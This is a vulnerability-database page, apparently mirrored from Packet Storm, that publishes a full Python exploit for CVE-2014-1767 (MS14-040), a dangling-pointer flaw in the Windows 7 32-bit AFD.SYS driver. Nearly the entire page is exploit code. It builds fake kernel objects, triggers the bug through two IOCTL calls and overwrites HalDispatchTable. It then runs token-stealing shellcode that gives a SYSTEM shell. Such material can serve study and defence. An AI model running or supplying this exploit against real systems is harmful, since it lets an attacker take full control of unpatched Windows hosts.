Lucene search
K

Microsoft AFD.SYS Dangling Pointer Privilege Escalation

🗓️ 16 Feb 2016 00:00:00Reported by Rick LarabeeType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 42 Views

Microsoft AFD.SYS Dangling Pointer Privilege Escalation exploit targeting Windows 7, 32-bit OS. Utilizes CVE-2014-1767 to escalate local privileges

Related
Code
`# Exploit Title: MS14-040 - AFD.SYS Dangling Pointer  
# Date: 2016-02-05  
# Exploit Author: Rick Larabee  
# Vendor Homepage: www.microsoft.com  
# Version: Windows 7, 32 bit  
# Tested on: Win7 x32  
# afd.sys - 6.1.7600.16385  
# ntdll.dll - 6.1.7600.16385   
#  
# CVE : CVE-2014-1767  
# Category: Local Privilege Escalation  
# References:  
# http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf  
# http://ricklarabee.blogspot.com/  
# https://warroom.securestate.com/ms14-040-afd-sys-dangling-pointer-further-analysis/  
# https://technet.microsoft.com/en-us/library/security/ms14-040.aspx  
# http://www.cvedetails.com/cve/CVE-2014-1767/  
#  
# Greetz: PWN4GEPWN1E, SecurityMook  
  
  
  
from ctypes import *  
import socket, time, os, struct, sys  
from ctypes.wintypes import HANDLE, DWORD  
  
kernel32 = windll.kernel32  
ntdll = windll.ntdll  
Psapi = windll.Psapi  
  
MEMRES = (0x1000 | 0x2000)  
PAGEEXE = 0x00000040  
Zerobits = c_int(0)  
RegionSize = c_int(0x1000)  
written = c_int(0)  
  
FakeObjSize = 0xA0  
  
GENERIC_READ = 0x80000000  
GENERIC_WRITE = 0x40000000  
GENERIC_EXECUTE = 0x20000000  
GENERIC_ALL = 0x10000000  
INVALID_HANDLE_VALUE = -1  
  
WSAGetLastError = windll.Ws2_32.WSAGetLastError  
WSAGetLastError.argtypes = ()  
WSAGetLastError.restype = c_int  
SOCKET = c_int  
WSASocket = windll.Ws2_32.WSASocketA  
WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)  
WSASocket.restype = SOCKET  
closesocket = windll.Ws2_32.closesocket  
closesocket.argtypes = (SOCKET,)  
closesocket.restype = c_int  
connect = windll.Ws2_32.connect  
connect.argtypes = (SOCKET, c_void_p, c_int)  
connect.restype = c_int  
  
class sockaddr_in(Structure):  
_fields_ = [  
("sin_family", c_short),  
("sin_port", c_ushort),  
("sin_addr", c_ulong),  
("sin_zero", c_char * 8),  
]   
  
def findSysBase(drvname=None):  
ARRAY_SIZE = 1024  
myarray = c_ulong * ARRAY_SIZE   
lpImageBase = myarray()   
cb = c_int(1024)   
lpcbNeeded = c_long()   
drivername_size = c_long()   
drivername_size.value = 48  
  
Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded))   
for baseaddy in lpImageBase:   
drivername = c_char_p("\x00"*drivername_size.value)   
if baseaddy:   
Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername,   
drivername_size.value)  
if drvname:  
if drivername.value.lower() == drvname:  
print "[+] Retrieving %s info..." % drvname  
print "[+] %s base address: %s" % (drvname, hex(baseaddy))  
return baseaddy  
else:  
if drivername.value.lower().find("krnl") !=-1:  
print "[+] Retrieving Kernel info..."  
print "[+] Kernel version:", drivername.value  
print "[+] Kernel base address: %s" % hex(baseaddy)   
return (baseaddy, drivername.value)  
return None  
  
  
def CreateBuffer1():  
inbuf1size = 0x30  
virtualAddress = 0x18888888  
length = 0x20000  
  
inbuf1 = "\x00" * 0x18 + struct.pack("L", virtualAddress) #0x1a  
inbuf1 += struct.pack("L", length) #0x20  
inbuf1 += "\x00" * 0x8 + "\x01"   
inbuf1 += "\x00" * (inbuf1size - len(inbuf1))  
  
baseadd = c_int(0x1001)  
dwStatus = ntdll.NtAllocateVirtualMemory(-1,  
byref(baseadd),  
0x0,  
byref(RegionSize),  
MEMRES,  
PAGEEXE)  
kernel32.WriteProcessMemory(-1, 0x1000, inbuf1, inbuf1size, byref(written))  
  
  
def CreateBuffer2():  
inbuf2size = 0x10  
addrforbuf2 = 0x0AAAAAAA  
  
inbuf2 = "\x01\x00\x00\x00"  
inbuf2 += struct.pack("L", addrforbuf2)  
inbuf2 += "\x00" * (inbuf2size -len(inbuf2))  
  
baseadd = c_int(0x2001)  
dwStatus = ntdll.NtAllocateVirtualMemory(-1,  
byref(baseadd),  
0x0,  
byref(RegionSize),  
MEMRES,  
PAGEEXE)   
kernel32.WriteProcessMemory(-1, 0x2000, inbuf2, inbuf2size, byref(written))  
  
def CreateFakeObject():  
print "[+] Print creating fakeobject"  
fakeobject2addr = 0x2200  
fakeobject2 = "\x00"*16 + struct.pack("L", HalDispatchTable+sizeof(c_void_p)-0x1C)  
fakeobj2size = len(fakeobject2)  
kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written))  
  
objhead = ("\x00\x00\x00\x00\xa8\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x01\x00\x00\x00\x01\x00\x00\x00"  
"\x00\x00\x00\x00\x16\x00\x08\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00")  
  
  
fakeobject = objhead  
fakeobject += struct.pack("L", fakeobject2addr) + "\x41"*96 + struct.pack("L", HalDispatchTable + sizeof(c_void_p) - 0xB4)  
fakeobject += "\x41" * (FakeObjSize - len(fakeobject))  
kernel32.WriteProcessMemory(-1, 0x2100, fakeobject, FakeObjSize, byref(written))   
  
print "[+] creating socket..."  
sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0)  
  
if sock == -1:  
print "[-] no luck creating socket!"  
sys.exit(1)  
  
print "[+] got sock 0x%x" % sock  
  
addr = sockaddr_in()  
addr.sin_family = socket.AF_INET  
addr.sin_port = socket.htons(135)  
addr.sin_addr = socket.htonl(0x7f000001)  
  
connect(sock, byref(addr), sizeof(addr))  
  
print "[+] sock connected."  
print "\n[+] GO!"  
  
(krnlbase, kernelver) = findSysBase()  
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)  
HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")  
HalDispatchTable -= hKernel  
HalDispatchTable += krnlbase  
print "[+] HalDispatchTable address:", hex(HalDispatchTable)  
halbase = findSysBase("halmacpi.dll")  
OS = "7"  
if OS == "7":  
HaliQuerySystemInformation = halbase+0x278A2 # Offset for win7  
_KPROCESS = "\x50"  
_TOKEN = "\xf8"  
_UPID = "\xb4"  
_APLINKS = "\xb8"   
  
print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation)  
  
IoStatus = c_ulong()  
IoStatusBlock = c_ulong()  
  
CreateBuffer1()  
CreateBuffer2()  
CreateFakeObject()  
  
inbuf1 = 0x1000  
inbuf2 = 0x2000  
hWF = HANDLE(0)  
FakeWorkerFactoryADDR = 0x2100  
  
  
# Trigger 1  
# afd!afdTransmitFile  
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x1207f, inbuf1, 0x30, None, 0x0)  
  
CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, None, 0, 0))  
  
ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,None,CompletionPort,INVALID_HANDLE_VALUE,None,None,0,0,0)  
hWFaddr = hWF  
print "[+] WorkerFactoryHandle:", hWF.value  
hWFaddr = int(addressof(hWF))  
  
shellcode_address = 0x00020700  
padding = "\x90"*2  
HalDispatchTable0x4 = HalDispatchTable + 0x4  
  
_WFValue = struct.pack("L", hWFaddr)  
  
sc_pointer = struct.pack("L", shellcode_address+0x4)   
restore_ptrs = "\x31\xc0" + \  
"\xb8" + struct.pack("L", HaliQuerySystemInformation) + \  
"\xa3" + struct.pack("L", HalDispatchTable0x4)   
  
tokenstealing = "\x52" +\  
"\x53" +\  
"\x33\xc0" +\  
"\x64\x8b\x80\x24\x01\x00\x00" +\  
"\x8b\x40" + _KPROCESS +\  
"\x8b\xc8" +\  
"\x8b\x98" + _TOKEN + "\x00\x00\x00" +\  
"\x89\x1d\x00\x09\x02\x00" +\  
"\x8b\x80" + _APLINKS + "\x00\x00\x00" +\  
"\x81\xe8" + _APLINKS + "\x00\x00\x00" +\  
"\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\  
"\x75\xe8" +\  
"\x8b\x90" + _TOKEN + "\x00\x00\x00" +\  
"\x8b\xc1" +\  
"\x89\x90" + _TOKEN + "\x00\x00\x00"   
  
fixobjheaders = "\x33\xC0" +\  
"\x64\x8B\x80\x24\x01\x00\x00" +\  
"\x8B\x40\x50" +\  
"\x8B\x80\xF4\x00\x00\x00" +\  
"\x8B\xD8" +\  
"\x8B\x00" +\  
"\x8B\x0D" + _WFValue +\  
"\x83\xE1\xFC" +\  
"\x03\xC9" +\  
"\x03\xC1" +\  
"\xC7\x00\x00\x00\x00\x00" +\  
"\x83\xC3\x30" +\  
"\x8B\xC3" +\  
"\x8B\x1B" +\  
"\x83\xEB\x01" +\  
"\x89\x18" +\  
"\x5B" +\  
"\x5A" +\  
"\xC2\x10\x00"  
  
  
shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders  
shellcode_size = len(shellcode)  
orig_size = shellcode_size  
startPage = c_int(0x00020000)  
kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))  
kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written))  
  
  
### Trigger 2  
## afd!AfdTransmitPackets  
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x120c3, inbuf2, 0x10, None, 0x0)  
  
ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False)  
  
ntdll.ZwSetInformationWorkerFactory(hWF, 8, shellcode_address, sizeof(c_void_p)) ;  
  
inp = c_ulong()  
out = c_ulong()  
inp = 0x1337  
qip = ntdll.NtQueryIntervalProfile(inp, byref(out))  
print "[*] Spawning a SYSTEM shell..."  
os.system("cmd.exe /K cd c:\\windows\\system32")  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation